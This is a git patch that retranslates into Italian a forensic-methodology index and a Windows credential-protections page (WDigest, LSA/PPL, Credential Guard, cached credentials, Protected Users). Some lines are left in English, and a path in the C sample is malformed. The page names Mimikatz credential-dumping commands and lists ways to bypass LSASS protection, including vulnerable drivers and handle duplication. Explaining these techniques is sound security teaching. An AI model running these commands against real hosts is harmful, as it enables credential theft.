From 58f45fd4035560674b8ae752dec04cf5c72079ac Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 22:12:00 +0000 Subject: [PATCH] Translated ['src/windows-hardening/stealing-credentials/credentials-prot --- .../basic-forensic-methodology/README.md | 44 ++--- .../credentials-protections.md | 170 ++++++++++++------ .../windows-c-payloads.md | 66 +++++-- 3 files changed, 194 insertions(+), 86 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index 3b09a9250..f81b3ec60 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -9,9 +9,9 @@ ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Analisi Malware +## Analisi del Malware -Questo **non è necessariamente il primo passo da eseguire una volta che hai l'immagine**. Però puoi usare queste tecniche di malware analysis in modo indipendente se hai un file, un file-system image, memory image, pcap... quindi è bene **tenere a mente queste azioni**: +Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi usare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file-system, un'immagine di memoria, pcap... quindi è utile **tenere queste azioni a mente**: {{#ref}} @@ -20,7 +20,7 @@ malware-analysis.md ## Ispezione di un'Immagine -Se ti viene fornita un'**immagine forense** di un dispositivo puoi iniziare a **analizzare le partizioni, il file-system** usato e **recuperare** potenzialmente **file interessanti** (anche eliminati). Scopri come in: +Se ti viene fornita un'**immagine forense** di un dispositivo puoi iniziare a **analizzare le partizioni, il file-system** usato e **recuperare** potenzialmente **file interessanti** (anche cancellati). Impara come in: {{#ref}} @@ -36,9 +36,9 @@ partitions-file-systems-carving/ ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Analisi Malware +## Analisi del Malware -Questo **non è necessariamente il primo passo da eseguire una volta che hai l'immagine**. Però puoi usare queste tecniche di malware analysis in modo indipendente se hai un file, un file-system image, memory image, pcap... quindi è bene **tenere a mente queste azioni**: +Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi usare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file-system, un'immagine di memoria, pcap... quindi è utile **tenere queste azioni a mente**: {{#ref}} @@ -47,14 +47,14 @@ malware-analysis.md ## Ispezione di un'Immagine -Se ti viene fornita un'**immagine forense** di un dispositivo puoi iniziare a **analizzare le partizioni, il file-system** usato e **recuperare** potenzialmente **file interessanti** (anche eliminati). Scopri come in: +Se ti viene fornita un'**immagine forense** di un dispositivo puoi iniziare a **analizzare le partizioni, il file-system** usato e **recuperare** potenzialmente **file interessanti** (anche cancellati). Impara come in: {{#ref}} partitions-file-systems-carving/ {{#endref}} -A seconda dei sistemi operativi e della piattaforma usati, dovrebbero essere ricercati diversi artefatti interessanti: +A seconda degli OS e della piattaforma utilizzata, vanno cercati diversi artefatti interessanti: {{#ref}} @@ -78,38 +78,38 @@ ios-backup-forensics.md ## Ispezione approfondita di tipi di file e Software specifici -Se hai un file molto **sospetto**, allora **a seconda del file-type e del software** che lo ha creato, possono essere utili diversi **trucchi**.\ -Leggi la pagina seguente per apprendere alcuni trucchi interessanti: +Se hai un file molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato diversi **trucchi** possono essere utili.\ +Leggi la pagina seguente per imparare alcuni trucchi interessanti: {{#ref}} specific-software-file-type-tricks/ -{{#endref} +{{#endref}} -Voglio fare una menzione speciale alla pagina: +Faccio una menzione speciale alla pagina: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Ispezione del memory dump +## Ispezione del Memory Dump {{#ref}} memory-dump-analysis/ {{#endref}} -## Ispezione di pcap +## Ispezione del Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Tecniche anti-forensi** +## **Tecniche Anti-Forensi** -Tieni presente il possibile uso di tecniche anti-forensi: +Tieni presente l'eventuale uso di tecniche anti-forensi: {{#ref}} @@ -127,38 +127,38 @@ file-integrity-monitoring.md ## Ispezione approfondita di tipi di file e Software specifici -Se hai un file molto **sospetto**, allora **a seconda del file-type e del software** che lo ha creato, possono essere utili diversi **trucchi**.\ -Leggi la pagina seguente per apprendere alcuni trucchi interessanti: +Se hai un file molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato diversi **trucchi** possono essere utili.\ +Leggi la pagina seguente per imparare alcuni trucchi interessanti: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -Voglio fare una menzione speciale alla pagina: +Faccio una menzione speciale alla pagina: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Ispezione del memory dump +## Ispezione del Memory Dump {{#ref}} memory-dump-analysis/ {{#endref}} -## Ispezione di pcap +## Ispezione del Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Tecniche anti-forensi** +## **Tecniche Anti-Forensi** -Tieni presente il possibile uso di tecniche anti-forensi: +Tieni presente l'eventuale uso di tecniche anti-forensi: {{#ref}} diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 16a0c1019..84bb261f7 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,118 +1,174 @@ -# Windows Credentials Protections +# Protezioni delle credenziali di Windows {{#include ../../banners/hacktricks-training.md}} ## WDigest -Il protocollo [WDigest](), introdotto con Windows XP, è progettato per l'autenticazione tramite il protocollo HTTP ed è **abilitato per impostazione predefinita su Windows XP fino a Windows 8.0 e Windows Server 2003 fino a Windows Server 2012**. Questa impostazione predefinita comporta **l'archiviazione delle password in chiaro in LSASS** (Local Security Authority Subsystem Service). Un attaccante può utilizzare Mimikatz per **estrarre queste credenziali** eseguendo: +The [WDigest]() protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). Un attacker può usare Mimikatz per **estrarre queste credenziali** eseguendo: ```bash sekurlsa::wdigest ``` -Per **disattivare o attivare questa funzione**, le chiavi di registro _**UseLogonCredential**_ e _**Negotiate**_ all'interno di _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ devono essere impostate su "1". Se queste chiavi sono **assenti o impostate su "0"**, WDigest è **disabilitato**: +Per **disattivare o attivare questa funzionalità**, le chiavi di registro _**UseLogonCredential**_ e _**Negotiate**_ all'interno di _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ devono essere impostate su "1". Se queste chiavi sono **assenti o impostate su "0"**, WDigest è **disabilitato**: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## Protezione LSA (processi protetti PP e PPL) +## Protezione LSA (processi protetti PP & PPL) -**Processo Protetto (PP)** e **Processo Protetto Leggero (PPL)** sono **protezioni a livello di kernel di Windows** progettate per prevenire accessi non autorizzati a processi sensibili come **LSASS**. Introdotto in **Windows Vista**, il **modello PP** è stato originariamente creato per l'applicazione del **DRM** e consentiva solo ai binari firmati con un **certificato media speciale** di essere protetti. Un processo contrassegnato come **PP** può essere accessibile solo da altri processi che sono **anch'essi PP** e hanno un **livello di protezione uguale o superiore**, e anche in tal caso, **solo con diritti di accesso limitati** a meno che non sia specificamente consentito. +**Protected Process (PP)** e **Protected Process Light (PPL)** sono **protezioni a livello kernel di Windows** progettate per impedire l'accesso non autorizzato a processi sensibili come **LSASS**. Introdotto in **Windows Vista**, il **modello PP** è stato creato originariamente per l'enforcement del **DRM** e consentiva la protezione solo ai binari firmati con un **certificato speciale per media**. Un processo marcato come **PP** può essere aperto solo da altri processi che sono **anch'essi PP** e che hanno un **livello di protezione uguale o superiore**, e anche in quel caso **solo con diritti di accesso limitati** a meno che non sia specificamente consentito. -**PPL**, introdotto in **Windows 8.1**, è una versione più flessibile di PP. Consente **casi d'uso più ampi** (ad es., LSASS, Defender) introducendo **"livelli di protezione"** basati sul campo **EKU (Enhanced Key Usage)** della **firma digitale**. Il livello di protezione è memorizzato nel campo `EPROCESS.Protection`, che è una struttura `PS_PROTECTION` con: -- **Tipo** (`Protected` o `ProtectedLight`) -- **Firmatario** (ad es., `WinTcb`, `Lsa`, `Antimalware`, ecc.) +**PPL**, introdotto in **Windows 8.1**, è una versione più flessibile di PP. Permette **casi d'uso più ampi** (es. LSASS, Defender) introducendo **"livelli di protezione"** basati sul campo EKU (Enhanced Key Usage) della firma digitale. Il livello di protezione è memorizzato in `EPROCESS.Protection`, che è una struttura `PS_PROTECTION` con: +- **Type** (`Protected` o `ProtectedLight`) +- **Signer** (es. `WinTcb`, `Lsa`, `Antimalware`, ecc.) Questa struttura è compressa in un singolo byte e determina **chi può accedere a chi**: -- **Valori di firmatario più alti possono accedere a quelli più bassi** +- **Signer con valori più alti possono accedere a quelli più bassi** - **I PPL non possono accedere ai PP** -- **I processi non protetti non possono accedere a nessun PPL/PP** +- **I processi non protetti non possono accedere a PPL/PP** ### Cosa devi sapere da una prospettiva offensiva -- Quando **LSASS viene eseguito come PPL**, i tentativi di aprirlo utilizzando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` da un contesto admin normale **falliscono con `0x5 (Access Denied)`**, anche se `SeDebugPrivilege` è abilitato. -- Puoi **controllare il livello di protezione di LSASS** utilizzando strumenti come Process Hacker o programmaticamente leggendo il valore `EPROCESS.Protection`. -- LSASS avrà tipicamente `PsProtectedSignerLsa-Light` (`0x41`), che può essere accessibile **solo da processi firmati con un firmatario di livello superiore**, come `WinTcb` (`0x61` o `0x62`). -- PPL è una **restrizione solo per Userland**; **il codice a livello di kernel può aggirarla completamente**. -- Il fatto che LSASS sia PPL non **preclude il dumping delle credenziali se puoi eseguire shellcode del kernel** o **sfruttare un processo con privilegi elevati con accesso appropriato**. -- **Impostare o rimuovere PPL** richiede un riavvio o **impostazioni di Secure Boot/UEFI**, che possono mantenere l'impostazione PPL anche dopo che le modifiche al registro sono state annullate. +- Quando **LSASS gira come PPL**, i tentativi di aprirlo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` da un contesto admin normale **falliscono con `0x5 (Access Denied)`**, anche se `SeDebugPrivilege` è abilitato. +- Puoi **controllare il livello di protezione di LSASS** usando tool come Process Hacker o programmaticamente leggendo il valore `EPROCESS.Protection`. +- LSASS avrà tipicamente `PsProtectedSignerLsa-Light` (`0x41`), che può essere accessibile **solo da processi firmati con un signer di livello superiore**, come `WinTcb` (`0x61` o `0x62`). +- PPL è una **restrizione solo Userland**; **codice a livello kernel può bypassarla completamente**. +- Il fatto che LSASS sia PPL non impedisce il credential dumping se puoi eseguire kernel shellcode o sfruttare un processo con privilegi elevati e con accesso appropriato. +- **Impostare o rimuovere PPL** richiede un reboot o impostazioni di **Secure Boot/UEFI**, che possono rendere persistente l'impostazione PPL anche dopo che modifiche al registro sono state invertite. -**Opzioni per aggirare le protezioni PPL:** +### Creare un processo PPL al lancio (API documentata) -Se desideri eseguire il dump di LSASS nonostante PPL, hai 3 opzioni principali: -1. **Utilizza un driver del kernel firmato (ad es., Mimikatz + mimidrv.sys)** per **rimuovere il flag di protezione di LSASS**: +Windows espone un modo documentato per richiedere un livello Protected Process Light per un processo figlio durante la creazione usando la extended startup attribute list. Questo non bypassa i requisiti di signing — l'immagine target deve essere firmata per la classe di signer richiesta. + +Minimal flow in C/C++: +```c +// Request a PPL protection level for the child process at creation time +// Requires Windows 8.1+ and a properly signed image for the selected level +#include + +int wmain(int argc, wchar_t **argv) { +STARTUPINFOEXW si = {0}; +PROCESS_INFORMATION pi = {0}; +si.StartupInfo.cb = sizeof(si); + +SIZE_T attrSize = 0; +InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize); +si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize); +if (!si.lpAttributeList) return 1; + +if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1; + +DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT +if (!UpdateProcThreadAttribute( +si.lpAttributeList, 0, +PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, +&level, sizeof(level), NULL, NULL)) { +return 1; +} + +DWORD flags = EXTENDED_STARTUPINFO_PRESENT; +if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, +flags, NULL, NULL, &si.StartupInfo, &pi)) { +// If the image isn't signed appropriately for the requested level, +// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577). +return 1; +} + +// cleanup +DeleteProcThreadAttributeList(si.lpAttributeList); +HeapFree(GetProcessHeap(), 0, si.lpAttributeList); +CloseHandle(pi.hThread); +CloseHandle(pi.hProcess); +return 0; +} +``` +Note e vincoli: +- Use `STARTUPINFOEX` con `InitializeProcThreadAttributeList` e `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, poi passa `EXTENDED_STARTUPINFO_PRESENT` a `CreateProcess*`. +- Il `DWORD` di protezione può essere impostato su costanti come `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, o `PROTECTION_LEVEL_LSA_LIGHT`. +- Il processo figlio parte come PPL solo se la sua immagine è firmata per quella signer class; altrimenti la creazione del processo fallisce, comunemente con `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`. +- Questo non è un bypass — è un'API supportata pensata per immagini opportunamente firmate. Utile per rafforzare strumenti o validare configurazioni protette da PPL. + +Esempio CLI usando un loader minimale: +- Firmatario antimalware: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc` +- Firmatario LSA-light: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe` + +**Opzioni per bypassare le protezioni PPL:** + +Se vuoi eseguire il dump di LSASS nonostante PPL, hai 3 opzioni principali: +1. **Usare un driver kernel firmato (es. Mimikatz + mimidrv.sys)** per **rimuovere il flag di protezione di LSASS**: ![](../../images/mimidrv.png) -2. **Porta il tuo driver vulnerabile (BYOVD)** per eseguire codice del kernel personalizzato e disabilitare la protezione. Strumenti come **PPLKiller**, **gdrv-loader** o **kdmapper** rendono questo fattibile. -3. **Ruba un handle LSASS esistente** da un altro processo che lo ha aperto (ad es., un processo AV), quindi **duplicalo** nel tuo processo. Questa è la base della tecnica `pypykatz live lsa --method handledup`. -4. **Abusa di qualche processo privilegiato** che ti permetterà di caricare codice arbitrario nel suo spazio di indirizzamento o all'interno di un altro processo privilegiato, aggirando effettivamente le restrizioni PPL. Puoi controllare un esempio di questo in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). +2. **Bring Your Own Vulnerable Driver (BYOVD)** per eseguire codice kernel custom e disabilitare la protezione. Strumenti come **PPLKiller**, **gdrv-loader**, o **kdmapper** rendono questo fattibile. +3. **Rubare un handle esistente di LSASS** da un altro processo che lo ha aperto (es. un processo AV), quindi **duplicarlo** nel tuo processo. Questa è la base della tecnica `pypykatz live lsa --method handledup`. +4. **Abusare di qualche processo privilegiato** che ti permetta di caricare codice arbitrario nel suo address space o dentro un altro processo privilegiato, bypassando così le restrizioni PPL. Puoi vedere un esempio di questo in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). -**Controlla lo stato attuale della protezione LSA (PPL/PP) per LSASS**: +**Verifica lo stato corrente della protezione LSA (PPL/PP) per LSASS**: ```bash reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -Quando esegui **`mimikatz privilege::debug sekurlsa::logonpasswords`** probabilmente fallirà con il codice di errore `0x00000005` a causa di questo. +When esegui **`mimikatz privilege::debug sekurlsa::logonpasswords`** probabilmente fallirà con il codice di errore `0x00000005` per questo motivo. -- Per ulteriori informazioni su questo controlla [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) +- Per maggiori informazioni su questo controllo [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) ## Credential Guard -**Credential Guard**, una funzionalità esclusiva per **Windows 10 (edizioni Enterprise ed Education)**, migliora la sicurezza delle credenziali della macchina utilizzando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare i processi chiave all'interno di uno spazio di memoria protetto, lontano dalla portata del sistema operativo principale. Questa isolamento garantisce che anche il kernel non possa accedere alla memoria in VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. L'**Autorità di Sicurezza Locale (LSA)** opera all'interno di questo ambiente sicuro come un trustlet, mentre il processo **LSASS** nel sistema operativo principale funge semplicemente da comunicatore con l'LSA di VSM. +**Credential Guard**, una funzione esclusiva di **Windows 10 (Enterprise and Education editions)**, migliora la sicurezza delle credenziali della macchina usando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare processi chiave all'interno di uno spazio di memoria protetto, fuori dalla portata del sistema operativo principale. Questa isolazione garantisce che nemmeno il kernel possa accedere alla memoria nel VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. La **Local Security Authority (LSA)** opera all'interno di questo ambiente sicuro come trustlet, mentre il processo **LSASS** nel sistema operativo principale funge soltanto da comunicatore con la LSA del VSM. -Per impostazione predefinita, **Credential Guard** non è attivo e richiede attivazione manuale all'interno di un'organizzazione. È fondamentale per migliorare la sicurezza contro strumenti come **Mimikatz**, che sono ostacolati nella loro capacità di estrarre credenziali. Tuttavia, le vulnerabilità possono ancora essere sfruttate attraverso l'aggiunta di **Security Support Providers (SSP)** personalizzati per catturare le credenziali in chiaro durante i tentativi di accesso. +Per impostazione predefinita, **Credential Guard** non è attivo e richiede un'attivazione manuale all'interno di un'organizzazione. È fondamentale per aumentare la sicurezza contro strumenti come **Mimikatz**, che vedono ostacolata la loro capacità di estrarre credenziali. Tuttavia, è ancora possibile sfruttare vulnerabilità tramite l'aggiunta di **Security Support Providers (SSP)** personalizzati per catturare le credenziali in chiaro durante i tentativi di login. -Per verificare lo stato di attivazione di **Credential Guard**, è possibile ispezionare la chiave di registro _**LsaCfgFlags**_ sotto _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valore di "**1**" indica attivazione con **UEFI lock**, "**2**" senza blocco, e "**0**" denota che non è abilitato. Questo controllo del registro, sebbene sia un forte indicatore, non è l'unico passo per abilitare Credential Guard. Sono disponibili online indicazioni dettagliate e uno script PowerShell per abilitare questa funzionalità. +Per verificare lo stato di attivazione di **Credential Guard**, è possibile ispezionare la chiave di registro _**LsaCfgFlags**_ sotto _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valore di "**1**" indica attivazione con **UEFI lock**, "**2**" senza lock, e "**0**" indica che non è abilitato. Questo controllo del registro, pur essendo un forte indicatore, non è l'unico passaggio per abilitare Credential Guard. Indicazioni dettagliate e uno script **PowerShell** per abilitare questa funzionalità sono disponibili online. ```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -Per una comprensione completa e istruzioni su come abilitare **Credential Guard** in Windows 10 e la sua attivazione automatica nei sistemi compatibili di **Windows 11 Enterprise e Education (versione 22H2)**, visita [la documentazione di Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). +Per una comprensione completa e le istruzioni su come abilitare **Credential Guard** in Windows 10 e sulla sua attivazione automatica nei sistemi compatibili di **Windows 11 Enterprise and Education (version 22H2)**, visita [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). -Ulteriori dettagli sull'implementazione di SSP personalizzati per la cattura delle credenziali sono forniti [in questa guida](../active-directory-methodology/custom-ssp.md). +Ulteriori dettagli sull'implementazione di custom SSPs per credential capture sono forniti in [this guide](../active-directory-methodology/custom-ssp.md). -## Modalità RDP RestrictedAdmin +## RDP RestrictedAdmin Mode -**Windows 8.1 e Windows Server 2012 R2** hanno introdotto diverse nuove funzionalità di sicurezza, inclusa la _**modalità Restricted Admin per RDP**_. Questa modalità è stata progettata per migliorare la sicurezza mitigando i rischi associati agli attacchi di [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/). +**Windows 8.1 and Windows Server 2012 R2** hanno introdotto diverse nuove funzionalità di sicurezza, inclusa la _**Restricted Admin mode for RDP**_. Questa modalità è stata progettata per migliorare la sicurezza mitigando i rischi associati agli attacchi [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/). -Tradizionalmente, quando ci si connette a un computer remoto tramite RDP, le proprie credenziali vengono memorizzate sulla macchina di destinazione. Questo rappresenta un rischio significativo per la sicurezza, specialmente quando si utilizzano account con privilegi elevati. Tuttavia, con l'introduzione della _**modalità Restricted Admin**_, questo rischio è sostanzialmente ridotto. +Tradizionalmente, quando ci si connette a un computer remoto tramite RDP, le tue credenziali vengono memorizzate sulla macchina di destinazione. Questo rappresenta un rischio di sicurezza significativo, soprattutto quando si utilizzano account con privilegi elevati. Tuttavia, con l'introduzione della _**Restricted Admin mode**_, questo rischio è notevolmente ridotto. -Quando si avvia una connessione RDP utilizzando il comando **mstsc.exe /RestrictedAdmin**, l'autenticazione al computer remoto viene eseguita senza memorizzare le proprie credenziali su di esso. Questo approccio garantisce che, in caso di infezione da malware o se un utente malintenzionato ottiene accesso al server remoto, le proprie credenziali non siano compromesse, poiché non sono memorizzate sul server. +Quando si avvia una connessione RDP usando il comando **mstsc.exe /RestrictedAdmin**, l'autenticazione al computer remoto viene eseguita senza memorizzare le tue credenziali su di esso. Questo approccio garantisce che, in caso di infezione da malware o se un utente malintenzionato ottiene l'accesso al server remoto, le tue credenziali non vengano compromesse, poiché non sono memorizzate sul server. -È importante notare che in **modalità Restricted Admin**, i tentativi di accesso alle risorse di rete dalla sessione RDP non utilizzeranno le proprie credenziali personali; invece, verrà utilizzata l'**identità della macchina**. +È importante notare che in **Restricted Admin mode** i tentativi di accedere a risorse di rete dalla sessione RDP non utilizzeranno le tue credenziali personali; al loro posto viene usata la **identità della macchina**. -Questa funzionalità segna un passo significativo avanti nella sicurezza delle connessioni desktop remote e nella protezione delle informazioni sensibili da esposizioni in caso di violazione della sicurezza. +Questa funzionalità rappresenta un importante passo avanti nella protezione delle connessioni desktop remote e nella tutela delle informazioni sensibili in caso di violazione della sicurezza. ![](../../images/RAM.png) -Per ulteriori informazioni dettagliate visita [questa risorsa](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). +Per maggiori dettagli visita [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). -## Credenziali memorizzate +## Credenziali memorizzate nella cache -Windows protegge le **credenziali di dominio** attraverso l'**Autorità di Sicurezza Locale (LSA)**, supportando i processi di accesso con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la sua capacità di memorizzare in cache i **ultimi dieci accessi al dominio** per garantire che gli utenti possano comunque accedere ai propri computer anche se il **controller di dominio è offline**—un vantaggio per gli utenti di laptop spesso lontani dalla rete della propria azienda. +Windows protegge le **domain credentials** tramite la **Local Security Authority (LSA)**, supportando i processi di logon con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la capacità di memorizzare nella cache i **last ten domain logins** per garantire che gli utenti possano continuare ad accedere ai propri computer anche se il **domain controller è offline** — particolarmente utile per gli utenti laptop spesso lontani dalla rete aziendale. -Il numero di accessi memorizzati in cache è regolabile tramite una specifica **chiave di registro o policy di gruppo**. Per visualizzare o modificare questa impostazione, viene utilizzato il seguente comando: +Il numero di accessi memorizzati nella cache è regolabile tramite una specifica chiave di **registry** o tramite group policy. Per visualizzare o modificare questa impostazione, viene utilizzato il seguente comando: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -L'accesso a queste credenziali memorizzate nella cache è strettamente controllato, con solo l'account **SYSTEM** che ha i permessi necessari per visualizzarle. Gli amministratori che necessitano di accedere a queste informazioni devono farlo con i privilegi dell'utente SYSTEM. Le credenziali sono memorizzate in: `HKEY_LOCAL_MACHINE\SECURITY\Cache` +L'accesso a queste credenziali memorizzate nella cache è strettamente controllato: solo l'account **SYSTEM** dispone delle autorizzazioni necessarie per visualizzarle. Gli amministratori che devono accedere a queste informazioni devono farlo con i privilegi dell'utente SYSTEM. Le credenziali sono memorizzate in: `HKEY_LOCAL_MACHINE\SECURITY\Cache` -**Mimikatz** può essere utilizzato per estrarre queste credenziali memorizzate nella cache utilizzando il comando `lsadump::cache`. +**Mimikatz** può essere utilizzato per estrarre queste credenziali in cache usando il comando `lsadump::cache`. -Per ulteriori dettagli, la [fonte](http://juggernaut.wikidot.com/cached-credentials) originale fornisce informazioni complete. +Per ulteriori dettagli, la [source](http://juggernaut.wikidot.com/cached-credentials) originale fornisce informazioni complete. -## Utenti Protetti +## Protected Users -L'appartenenza al **gruppo Utenti Protetti** introduce diversi miglioramenti della sicurezza per gli utenti, garantendo livelli più elevati di protezione contro il furto e l'uso improprio delle credenziali: +L'appartenenza al **Protected Users group** introduce diverse migliorie di sicurezza per gli utenti, garantendo livelli più elevati di protezione contro il furto e l'abuso delle credenziali: -- **Delegazione delle Credenziali (CredSSP)**: Anche se l'impostazione della Group Policy per **Consenti la delega delle credenziali predefinite** è abilitata, le credenziali in testo chiaro degli Utenti Protetti non verranno memorizzate nella cache. -- **Windows Digest**: A partire da **Windows 8.1 e Windows Server 2012 R2**, il sistema non memorizzerà nella cache le credenziali in testo chiaro degli Utenti Protetti, indipendentemente dallo stato di Windows Digest. -- **NTLM**: Il sistema non memorizzerà nella cache le credenziali in testo chiaro degli Utenti Protetti o le funzioni unidirezionali NT (NTOWF). -- **Kerberos**: Per gli Utenti Protetti, l'autenticazione Kerberos non genererà chiavi **DES** o **RC4**, né memorizzerà nella cache credenziali in testo chiaro o chiavi a lungo termine oltre l'acquisizione iniziale del Ticket-Granting Ticket (TGT). -- **Accesso Offline**: Gli Utenti Protetti non avranno un verificatore memorizzato nella cache creato all'accesso o sblocco, il che significa che l'accesso offline non è supportato per questi account. +- **Credential Delegation (CredSSP)**: Anche se l'impostazione di Group Policy per **Allow delegating default credentials** è abilitata, le credenziali in plain text degli utenti Protected Users non verranno memorizzate nella cache. +- **Windows Digest**: A partire da **Windows 8.1 and Windows Server 2012 R2**, il sistema non memorizzerà nella cache le credenziali in plain text degli utenti Protected Users, indipendentemente dallo stato di Windows Digest. +- **NTLM**: Il sistema non memorizzerà nella cache le credenziali in plain text degli utenti Protected Users né le funzioni one-way NT (NTOWF). +- **Kerberos**: Per gli utenti Protected Users, l'autenticazione Kerberos non genererà **DES** o **RC4** keys, né memorizzerà nella cache credenziali in plain text o chiavi a lungo termine oltre l'acquisizione iniziale del Ticket-Granting Ticket (TGT). +- **Offline Sign-In**: Agli utenti Protected Users non verrà creato un verificatore memorizzato nella cache al momento del sign-in o dello sblocco, il che significa che il sign-in offline non è supportato per questi account. -Queste protezioni vengono attivate nel momento in cui un utente, che è membro del **gruppo Utenti Protetti**, accede al dispositivo. Questo garantisce che misure di sicurezza critiche siano in atto per proteggere contro vari metodi di compromissione delle credenziali. +Queste protezioni vengono attivate nel momento in cui un utente membro del **Protected Users group** effettua l'accesso al dispositivo. Ciò garantisce che misure di sicurezza critiche siano in atto per tutelare contro varie modalità di compromissione delle credenziali. -Per informazioni più dettagliate, consultare la [documentazione](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) ufficiale. +Per informazioni più dettagliate, consultare la [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) ufficiale. -**Tabella da** [**la documentazione**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** +**Tabella da** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

